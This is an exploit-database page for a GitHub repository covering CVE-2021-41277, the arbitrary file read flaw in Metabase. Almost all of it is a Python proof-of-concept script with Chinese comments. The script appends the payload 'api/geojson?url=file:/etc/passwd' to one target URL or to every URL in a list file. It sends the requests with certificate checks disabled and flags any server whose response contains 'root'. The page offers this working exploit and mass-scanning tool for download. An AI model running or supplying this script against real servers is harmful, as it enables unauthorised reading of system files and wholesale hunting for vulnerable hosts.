Exploit databaseDownload repository ZIP
GH-589406a27e7a0f6e14b2318f68155c0a
chengling-ing/cve-2021-41277
Sources for CVE-2021-41277
9 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
chengling-ing/cve-2021-41277Revision 8c23544d2ac9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2021-41277.py
Python · 1,248 bytes#MetaBase 任意文件读取
import sys
import requests
def base(url):
try:
req = requests.get(url, timeout=5, verify=False)
if req.status_code < 205 and "root" in req.text:
print("[+]" + url + " 存在文件读取")
except:
print("请求超时!")
def bases(urls):
try:
req = requests.get(urls,verify=False,timeout=5)
if req.status_code < 205 and "root" in req.text:
print("[+]" + urls + " 存在文件读取")
except:
print("请求超时!")
if __name__ == '__main__':
payload = 'api/geojson?url=file:/etc/passwd'
try:
url = sys.argv[1]
if "http" in url:
new_url = url + payload
base(url=new_url)
else:
new_url = open(url,'r+')
for i in new_url:
new_url = i.rstrip('\n') + payload
bases(urls = new_url)
except FileNotFoundError:
print("找不到该文件!")
except IndexError:
print('MetaBase 任意文件读取')
print('------------------------------------------------------')
print('使用方式: python poc.py url/urlfile')
print('------------------------------------------------------')